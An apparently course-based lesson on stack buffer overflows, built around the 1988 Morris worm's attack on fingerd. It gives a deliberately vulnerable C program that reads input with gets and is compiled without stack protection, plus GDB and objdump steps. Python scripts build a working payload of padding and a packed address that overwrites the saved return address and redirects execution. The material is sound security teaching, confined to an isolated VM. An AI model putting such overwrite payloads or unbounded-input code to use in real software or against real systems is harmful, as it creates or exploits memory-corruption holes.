Crashes and Evidence of Control

Stack SmashingLesson 5 of 740 minutesLessonNo lab next

The worm that read too much

On the evening of 2 November 1988, a program began copying itself from machine to machine across the internet. It had several ways in, and one of them was fingerd, the small daemon that answered the question of who was logged in on a remote host. fingerd read the name it was asked about using gets, a function that copies input until it reaches a newline and takes no argument for the size of the destination. The worm sent it 536 bytes. The buffer held 512.

Those extra bytes ran past the end of the buffer and over the saved return address, and Spafford’s analysis at Purdue describes what that bought. The return address now pointed back into the buffer the worm had just filled, so when fingerd finished its work it carried on executing the worm’s own bytes, and those bytes started a shell.

You changed a saved return address in the last lesson too, although your destination was a function already in the program. The worm brought its own instructions. What I find more surprising is that gets is still in the course VM’s C library, and that the linker still has something to say when you use it. That’s where we’ll start.

What the crash tells us

Think back to the thirty-two-byte probe in Stack Overflows and Return Addresses. The shell reported a segmentation fault, and then we opened GDB and found 0x4141414141414141 where an address belonged.

Why wasn’t the shell’s message enough? We already knew we’d broken the program.

What we didn’t know was what we’d changed. The debugger showed that our input had reached the return slot and supplied its contents, which is quite a bit more information than “it crashed.” The same distinction matters in the story above: describing fingerd as a program that crashed would miss most of what the worm was doing with it.

Learning objectives

By the end of this lesson

• Separate what a crashing run shows you from the conclusion that observation supports.
• Explain what the value in the saved return slot establishes about control over execution.
• Decide, for a report you did not produce, whether it establishes failure or control, and name the evidence that settles it.
• Explain why a crash caused by a value you chose and one caused by an accident look the same from the shell.

Safety note

Keep this inside the course VM

Use only the program supplied below, inside the isolated x86-64 Ubuntu course VM. It needs no network access. Do not point any input in this lesson at another program, another machine, or any service you did not build here.

The function that got its own warning

The program below is a small stand-in for the daemon: it answers a query about a name and logs it, and the input arrives through gets, as it did in 1988. Save it as lookup.c in a fresh working directory.

#include <stdio.h>
#include <stdlib.h>

void log_query(void)
{
    puts("Query logged.");
    exit(0);
}

void answer_query(void)
{
    char line[512];
    gets(line);
    puts("No such user.");
}

int main(void)
{
    puts("Name:");
    answer_query();
    puts("Lookup complete.");
    return 0;
}

Build it in the Ubuntu terminal with the same flags as the previous lesson:

gcc -g -O0 -fno-omit-frame-pointer -fno-stack-protector -no-pie -z noexecstack lookup.c -o lookup

Two warnings come out of that build, and both are worth reading:

lookup.c: In function ‘answer_query’:
lookup.c:13:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   13 |     gets(line);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/cc1ioAiL.o: in function `answer_query':
/home/you/lookup.c:13:(.text+0x40): warning: the `gets' function is dangerous and should not be used.

Your source path and the temporary object filename will differ, but the complaints about gets are the parts worth reading.

The compiler doesn’t know what gets is, because the 2011 C standard removed it and glibc stopped declaring it.

The linker knows exactly what it is and has a sentence ready. I don’t know of another function in the C library that gets its own editorial in ld output, and the reason it earned one is the story above.

Run the program and enter a short name:

$ ./lookup

Name:
belvedere
No such user.
Lookup complete.

answer_query accepted the input, returned to main, and main printed its last line. Note that log_query is sitting there with nothing calling it, which should also look familiar (the previous lesson called its version win).

Where the return slot is

Before building any input, work out the distance to the saved return address, the same way you did for read_label:

objdump -d -Mintel ./lookup | sed -n '/<answer_query>:/,/^$/p'

40119b: push   rbp
40119c: mov    rbp,rsp
40119f: sub    rsp,0x200
4011a6: lea    rax,[rbp-0x200]
   ...
4011b5: call   401070 <gets@plt>
   ...
4011ca: leave
4011cb: ret

sub rsp,0x200 reserves 512 bytes, and lea rax,[rbp-0x200] confirms line begins at the bottom of that space. Above it sit eight bytes of saved frame pointer, and above that the saved return address:

The buffer and saved return information

Byte offsets from the start of line. Higher addresses at the top.

OffsetsStack memory

1. Offsets 520–527
   Saved return address8 bytes
2. Offsets 512–519
   Saved frame pointer8 bytes
   rbp
3. Offsets 0–511
   line[0–511]512 bytes · grouped
   rsp

Region heights are not to scale. Pointers show the established frame, before teardown.

So the return slot begins 520 bytes into line, and covering all eight of its bytes takes an input of 528.

The worm’s 536-byte input belonged to a VAX with a different frame layout and calling convention, so it doesn’t give us the length for this program. Here, the distance comes from the compiled frame we just inspected.

Two inputs, two conclusions

Save this as probe.py:

from pathlib import Path

Path("probe.bin").write_bytes(b"A" * 528)
print("wrote 528 bytes")

Then run it:

python3 probe.py
./lookup < probe.bin

Name:
No such user.
Segmentation fault (core dumped)

Now stop at ret and read the eight bytes that ret is about to consume:

gdb -q ./lookup

(gdb) break *0x4011cb
(gdb) run < probe.bin
(gdb) x/gx $rsp

0x7ffd...: 0x4141414141414141

Your stack address will differ from mine, but the value at it should not.

Leave GDB with quit. Now build a second input that reaches the same slot and puts a usable address in it. log_query is at a fixed address in this non-PIE build, so ask the symbol table for it:

nm -n ./lookup | grep ' log_query$'

0000000000401176 T log_query

Save this as reach.py:

from pathlib import Path
from struct import pack

payload = b"A" * 520 + pack("<Q", 0x401176)
Path("reach.bin").write_bytes(payload)
print(f"wrote {len(payload)} bytes")

python3 reach.py
./lookup < reach.bin

Name:
No such user.
Query logged.

The same 520 bytes of padding, a different final eight, and the program reaches a function nothing calls. At ret the slot now holds the address we chose:

(gdb) break *0x4011cb
(gdb) run < reach.bin
(gdb) x/gx $rsp

0x7ffd...: 0x0000000000401176

If your results differ, work forward from the first artifact that doesn’t match rather than adjusting the padding. Check that:

• Each script reported its byte count.
• Your objdump offset really is 520 for your build.
• nm gave you the log_query address you packed.

To recover a known state, rebuild from the supplied source with the exact command above and regenerate both files.

What each run established

We’ve now seen a normal return, a crash, and the message from log_query. Put the program’s behavior beside the value we saw in the debugger, and we can compare what each run actually tells us:

Run	Value at rsp before ret	Establishes	Does not establish
Short name	0x00000000004011e8	The program works as written	—
528 A bytes	0x4141414141414141	Our input chose the value ret consumed	That any useful destination is reachable
520 bytes + address	0x0000000000401176	Control over where execution continues	Anything about other builds of this program

The middle row is worth a second look:

• From the shell, it could have been an ordinary null-pointer crash.
• From GDB, we can see our own bytes in the return slot.

Those are two views of the same run, and the second explains something the first couldn’t tell us.

The final run goes further: we also see execution reach the chosen destination. That’s why the worm report describes where execution went and what ran there, rather than stopping at the daemon’s failure.

Practice: classify three reports

We won’t always have our own debugger session to look at. Sometimes we’ll be reading somebody else’s account and trying to work out what they found.

Here are three published reports: which ones tell us that a program failed, and which show that the input controlled execution? Pick out the detail that makes you choose your answer.

1. Miller, Fredriksen, and So fed random input to roughly ninety Unix utilities and reported that about a quarter of them crashed or hung. Their random-input generator was called fuzz, which is where the name comes from.
2. Spafford reports that the worm’s 536-byte string left fingerd’s return address pointing into the worm’s own buffer, and that the code there started a shell.
3. Lopatic posts a program that sends an 8192-byte request to a server with a 256-byte buffer and creates a file called GOTCHA in /tmp on the target.

Think through your answers before comparing them below.

Compare your classification

The first report gives us a crash rate, so we know the input reached programs that couldn’t handle it. It doesn’t say what a corrupted value became or whether the input chose that value. For any individual case, we’d still need evidence like the value we read in GDB and its connection to our input before calling it control.

The second report does give us that connection. The return address pointed into a buffer the worm supplied, and the bytes there ran. That’s control, not merely a report that the daemon stopped working.

For the third report, I’d look at GOTCHA. The server’s own code has no path that produces that file, so its appearance is the result that shows control. The request did more than make the server fail.

Knowledge check

Question 1 of 3

GDB showed 0x4141414141414141 at rsp before ret on the 528-byte run. What does that observation establish?

Our input determined the value that ret was about to consumeThe program can be made to continue in a function of our choosingThe A bytes on the stack were executed as instructions

Check answer

A fresh case: one byte of difference

Counting only the A bytes, 520 of them fill line, fill the saved frame pointer, and stop at the edge of the return slot. 519 stops one byte earlier still. Predict what each input does before you run either, and name the evidence that would tell you whether your explanation is right.

python3 -c "from pathlib import Path; Path('a519.bin').write_bytes(b'A'*519)"
python3 -c "from pathlib import Path; Path('a520.bin').write_bytes(b'A'*520)"
./lookup < a519.bin
./lookup < a520.bin

What actually happens

519 bytes runs cleanly and prints Lookup complete., even though it has overwritten seven of the eight bytes of the saved frame pointer. This build tolerates that.

520 bytes segfaults. Read the return slot at ret and you can see why:

(gdb) break *0x4011cb
(gdb) run < a520.bin
(gdb) x/gx $rsp

0x7ffd...: 0x0000000000401100

The ordinary continuation address is 0x4011e8. Our 520 A bytes filled line and the saved frame pointer, and then gets appended the null terminator that every string it reads gets, one byte into the return slot. That zeroed the low byte and left 0x401100, which is not the start of an instruction.

So this run reached the return slot and changed the value ret consumed, but we did not choose the result. gets did, as a side effect of terminating a string. It sits between the last two rows of our table, at reach without control.

A destination supplied as input

Lopatic posted a working remote exploit in February 1995, Mudge wrote the method down that October, and in November 1996 Aleph One explained all of it from the beginning for a reader who had none of it.

You will sometimes read that nobody realised these bugs were exploitable until that last paper. The record is less tidy than that, as the two reports you just classified show, and the longer argument about why exploitation took so long to mature is worth reading if the question interests you.

Aleph One’s paper also does something we still haven’t. The input that worked here sent execution to a function the author had already compiled in, so every result in this lesson depended on log_query existing. The 1996 technique doesn’t need it. The destination is the input itself, and the bytes waiting there are instructions the attacker wrote.

The next question is how those bytes reach memory and what allows the processor to execute them there.